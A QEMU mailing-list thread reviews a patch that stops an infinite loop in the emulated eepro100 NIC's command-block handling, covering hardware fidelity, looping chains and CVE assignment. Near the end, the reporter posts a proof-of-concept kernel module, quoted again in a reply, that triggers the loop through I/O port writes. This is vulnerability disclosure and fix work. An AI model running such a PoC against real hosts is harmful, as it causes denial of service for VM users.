eepro100: prevent an infinite loop over same command block

+-- On Fri, 16 Oct 2015, Paolo Bonzini wrote --+
| > +        if (s->tx.link == s->cu_offset)
| > +            break;
| 
| Please update the patch to conform to QEMU's coding standards; braces
| are required even around single-statement blocks.

  Done. Please see an updated patch below.

Am 16.10.2015 um 19:19 schrieb P J P:
> +-- On Fri, 16 Oct 2015, Paolo Bonzini wrote --+
> | > +        if (s->tx.link == s->cu_offset)
> | > +            break;
> | 
> | Please update the patch to conform to QEMU's coding standards; braces
> | are required even around single-statement blocks.
>
>   Done. Please see an updated patch below.
>
> ===
> From bbf7b8914a984b09242e1cafc258bd71cecc47c8 Mon Sep 17 00:00:00 2001
> From: Prasad J Pandit <pjp@fedoraproject.org>
> Date: Fri, 16 Oct 2015 22:43:29 +0530
> Subject: eepro100: prevent an infinite loop over same command block
>
> action_command() routine executes a chain of commands located
> in the Command Block List(CBL). Each Command Block(CB) has a
> link to the next CB in the list, given by 's->tx.link'.
> This is used in conjunction with the base address 's->cu_base'.
>
> An infinite loop unfolds if the 'link' to the next CB is
> same as the previous one, the loop ends up executing the same
> command over and over again.
>
> Reported-by: Qinghao Tang <luodalongde@gmail.com>
> Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
> ---
>  hw/net/eepro100.c | 3 +++
>  1 file changed, 3 insertions(+)
>

Hi,

is this just a theoretical assumption or did you see problems
with some guest operating system?

To trigger a potential infinite loop, you'll need buggy device
drivers in the guest.

I just had a look at the Intel developer manual
(http://www.intel.com/content/dam/doc/manual/8255x-10-100-mbps-ethernet-controller-software-dev-manual.pdf).
The command block list (CBL) description is in chapter 6.4
of that manual. I did not find a hint that there is a break
condition like the one introduced by your patch.

Maybe real hardware will run an endless loop?
Or the "endless" loop is terminated because the driver
changes the link while the loop is running?

The goal of eepro100.c should be emulation of the
real hardware, even of a potential design weakness.

Regards
Stefan W.

Hello,

+-- On Fri, 16 Oct 2015, Stefan Weil wrote --+
| is this just a theoretical assumption or did you see problems
| with some guest operating system?
| 
| To trigger a potential infinite loop, you'll need buggy device
| drivers in the guest.

  Right; The issue isn't theoretical, it was seen and reported by Mr Qinghao, 
CC'd here.
 
| Maybe real hardware will run an endless loop?
| Or the "endless" loop is terminated because the driver
| changes the link while the loop is running?

  IIUC, command execution loop is terminated when 'I', 'EL' or 'S' bits are 
set in the current command block, otherwise loop continues to read the next 
command block(CB) in the list.

--
 - P J P
47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F

On 16 October 2015 at 22:37, Stefan Weil <sw@weilnetz.de> wrote:
> Maybe real hardware will run an endless loop?
> Or the "endless" loop is terminated because the driver
> changes the link while the loop is running?
>
> The goal of eepro100.c should be emulation of the
> real hardware, even of a potential design weakness.

I agree in general, but we need to be sure that if we're
letting the guest put a device into an infinite loop this
doesn't lock up the whole VM (ie preventing the user
from using the qemu monitor or otherwise rebooting it).

thanks
-- PMM

On 10/17/2015 01:19 AM, P J P wrote:
> +-- On Fri, 16 Oct 2015, Paolo Bonzini wrote --+
> | > +        if (s->tx.link == s->cu_offset)
> | > +            break;
> | 
> | Please update the patch to conform to QEMU's coding standards; braces
> | are required even around single-statement blocks.
>
>   Done. Please see an updated patch below.
>
> ===
> From bbf7b8914a984b09242e1cafc258bd71cecc47c8 Mon Sep 17 00:00:00 2001
> From: Prasad J Pandit <pjp@fedoraproject.org>
> Date: Fri, 16 Oct 2015 22:43:29 +0530
> Subject: eepro100: prevent an infinite loop over same command block
>
> action_command() routine executes a chain of commands located
> in the Command Block List(CBL). Each Command Block(CB) has a
> link to the next CB in the list, given by 's->tx.link'.
> This is used in conjunction with the base address 's->cu_base'.
>
> An infinite loop unfolds if the 'link' to the next CB is
> same as the previous one, the loop ends up executing the same
> command over and over again.
>
> Reported-by: Qinghao Tang <luodalongde@gmail.com>
> Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
> ---
>  hw/net/eepro100.c | 3 +++
>  1 file changed, 3 insertions(+)
>
> diff --git a/hw/net/eepro100.c b/hw/net/eepro100.c
> index 60333b7..0e4ad4e 100644
> --- a/hw/net/eepro100.c
> +++ b/hw/net/eepro100.c
> @@ -863,6 +863,9 @@ static void action_command(EEPRO100State *s)
>          uint16_t ok_status = STATUS_OK;
>          s->cb_address = s->cu_base + s->cu_offset;
>          read_cb(s);
> +        if (s->tx.link == s->cu_offset) {
> +            break;
> +        }
>          bit_el = ((s->tx.command & COMMAND_EL) != 0);
>          bit_s = ((s->tx.command & COMMAND_S) != 0);
>          bit_i = ((s->tx.command & COMMAND_I) != 0);

Can this survive if we had a chain like?

A->B->A

If not, looks like we need to limit the maximum number of commands in a
chain? (e.g 256)

On 10/17/2015 07:35 PM, Peter Maydell wrote:
> On 16 October 2015 at 22:37, Stefan Weil <sw@weilnetz.de> wrote:
>> Maybe real hardware will run an endless loop?
>> Or the "endless" loop is terminated because the driver
>> changes the link while the loop is running?
>>
>> The goal of eepro100.c should be emulation of the
>> real hardware, even of a potential design weakness.
> I agree in general, but we need to be sure that if we're
> letting the guest put a device into an infinite loop this
> doesn't lock up the whole VM (ie preventing the user
> from using the qemu monitor or otherwise rebooting it).
>
> thanks
> -- PMM
>

Yes, so the reproducer needs to be tested on real hardware.

Qinghao:

Any chance to test the reproducer on real e100? If not, I will try to
find one to test.

Thanks

I will try to test the PoC on real e100.
But this work may need some  more time.

发自我的 iPhone

> 在 2015年10月20日，上午11:04，Jason Wang <jasowang@redhat.com> 写道：
> 
> 
> 
>> On 10/17/2015 07:35 PM, Peter Maydell wrote:
>>> On 16 October 2015 at 22:37, Stefan Weil <sw@weilnetz.de> wrote:
>>> Maybe real hardware will run an endless loop?
>>> Or the "endless" loop is terminated because the driver
>>> changes the link while the loop is running?
>>> 
>>> The goal of eepro100.c should be emulation of the
>>> real hardware, even of a potential design weakness.
>> I agree in general, but we need to be sure that if we're
>> letting the guest put a device into an infinite loop this
>> doesn't lock up the whole VM (ie preventing the user
>> from using the qemu monitor or otherwise rebooting it).
>> 
>> thanks
>> -- PMM
> 
> Yes, so the reproducer needs to be tested on real hardware.
> 
> Qinghao:
> 
> Any chance to test the reproducer on real e100? If not, I will try to
> find one to test.
> 
> Thanks

+-- On Tue, 20 Oct 2015, Jason Wang wrote --+
| Can this survive if we had a chain like?
| A->B->A
 
  No, current patch wouldn't cope with it. Though I wonder if such a loop is 
possible?
 
| If not, looks like we need to limit the maximum number of commands in a
| chain? (e.g 256)

  Okay, I'll update the patch.

@max, @Qinghao: did you have chance to test the current patch? (just checking)


Thank you.
--
 - P J P
47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F

On 11/04/2015 02:49 AM, P J P wrote:
> +-- On Tue, 20 Oct 2015, Jason Wang wrote --+
> | Can this survive if we had a chain like?
> | A->B->A
>  
>   No, current patch wouldn't cope with it. Though I wonder if such a loop is 
> possible?

Just wondering.

Tx.link is unit32_t, but any chance s->cu_base + s->cu_offset can result
a integer overflow?

>  
> | If not, looks like we need to limit the maximum number of commands in a
> | chain? (e.g 256)
>
>   Okay, I'll update the patch.
>
> @max, @Qinghao: did you have chance to test the current patch? (just checking)
>
>
> Thank you.
> --
>  - P J P
> 47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
>

Currently what problem do you have? Perhaps I could provide more support.
And please give this vulnerability a cve id.
Thanks!

2015-11-04 11:31 GMT+08:00 Jason Wang <jasowang@redhat.com>:

>
>
> On 11/04/2015 02:49 AM, P J P wrote:
> > +-- On Tue, 20 Oct 2015, Jason Wang wrote --+
> > | Can this survive if we had a chain like?
> > | A->B->A
> >
> >   No, current patch wouldn't cope with it. Though I wonder if such a
> loop is
> > possible?
>
> Just wondering.
>
> Tx.link is unit32_t, but any chance s->cu_base + s->cu_offset can result
> a integer overflow?
>
> >
> > | If not, looks like we need to limit the maximum number of commands in a
> > | chain? (e.g 256)
> >
> >   Okay, I'll update the patch.
> >
> > @max, @Qinghao: did you have chance to test the current patch? (just
> checking)
> >
> >
> > Thank you.
> > --
> >  - P J P
> > 47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
> >
>
>

Hello Qinghao,

+-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+
| Currently what problem do you have? Perhaps I could provide more support. 

  Could you please confirm if the proposed patch here fixes the issue. 
Secondly there is uncertainty if the CB loop like Jason mentioned earlier is 
possible.

| And please give this vulnerability a cve id.

  Yes I will; As soon as the patch is ready for upstream.

Thank you.
--
Prasad J Pandit / Red Hat Product Security Team
47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F

I think the patch can solve this vulnerability.
I confirm that the loop exist , the poc code can prove that.


#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/io.h>
#define PAGE_OFFSET 0x0C000000
MODULE_LICENSE("GPL");
static int hello_init(void)
{

  void* pvirt;
  void* pphy;
  unsigned long* pdbal;
  unsigned long* tdt;
  unsigned short status;
  pvirt =kmalloc(0x100,GFP_KERNEL);
  memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct
  pphy=virt_to_phys(pvirt);//get physical address
  printk(KERN_ALERT "%08x\n",pvirt);
  printk(KERN_ALERT "%08x\n",pphy);
  outl(pphy,0xc004);//write the address
  outw(0x0060,0xc002);
  outl(0,0xc004);//write the offset
  outw(0x0010,0xc002); //enter action_command function


return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "goodbye,kernel\n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_AUTHOR("qinghao tang");
MODULE_DESCRIPTION("poc for eepro100 infinite loop vulnerability\n");

2015-11-20 14:10 GMT+08:00 P J P <ppandit@redhat.com>:

>   Hello Qinghao,
>
> +-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+
> | Currently what problem do you have? Perhaps I could provide more support.
>
>   Could you please confirm if the proposed patch here fixes the issue.
> Secondly there is uncertainty if the CB loop like Jason mentioned earlier
> is
> possible.
>
> | And please give this vulnerability a cve id.
>
>   Yes I will; As soon as the patch is ready for upstream.
>
> Thank you.
> --
> Prasad J Pandit / Red Hat Product Security Team
> 47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
>

Hello Qinghao,

+-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+
| I think the patch can solve this vulnerability.
| I confirm that the loop exist , the poc code can prove that.

  Great! Thank you so much for the confirmation and the POC code. I'll send an 
updated patch shortly.

Thank you.
--
Prasad J Pandit / Red Hat Product Security Team
47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F

Am 20.11.2015 um 07:29 schrieb Qinghao Tang:
> I think the patch can solve this vulnerability.
> I confirm that the loop exist , the poc code can prove that.
>
>
> #include <linux/init.h>
> #include <linux/module.h>
> #include <linux/kernel.h>
> #include <asm/io.h>
> #define PAGE_OFFSET 0x0C000000
> MODULE_LICENSE("GPL");
> static int hello_init(void)
> {
>
>   void* pvirt;
>   void* pphy;
>   unsigned long* pdbal;
>   unsigned long* tdt;
>   unsigned short status;
>   pvirt =kmalloc(0x100,GFP_KERNEL);
>   memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct
>   pphy=virt_to_phys(pvirt);//get physical address
>   printk(KERN_ALERT "%08x\n",pvirt);
>   printk(KERN_ALERT "%08x\n",pphy);
>   outl(pphy,0xc004);//write the address
>   outw(0x0060,0xc002);
>   outl(0,0xc004);//write the offset
>   outw(0x0010,0xc002); //enter action_command function
>   
>   
> return 0;
> }
> static void hello_exit(void)
> {
> printk(KERN_ALERT "goodbye,kernel\n");
> }
> module_init(hello_init);
> module_exit(hello_exit);
> MODULE_AUTHOR("qinghao tang");
> MODULE_DESCRIPTION("poc for eepro100 infinite loop vulnerability\n");
>
> 2015-11-20 14:10 GMT+08:00 P J P <ppandit@redhat.com
> <mailto:ppandit@redhat.com>>:
>
>       Hello Qinghao,
>
>     +-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+
>     | Currently what problem do you have? Perhaps I could provide more
>     support.
>
>       Could you please confirm if the proposed patch here fixes the issue.
>     Secondly there is uncertainty if the CB loop like Jason mentioned
>     earlier is
>     possible.
>
>     | And please give this vulnerability a cve id.
>
>       Yes I will; As soon as the patch is ready for upstream.
>
>     Thank you.
>     --
>     Prasad J Pandit / Red Hat Product Security Team
>     47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
>
>

Thanks for this example. Could you please try whether the patch
which I have just sent fixes the problem for you?

And please CC me on any e-mails regarding eepro100.

Stefan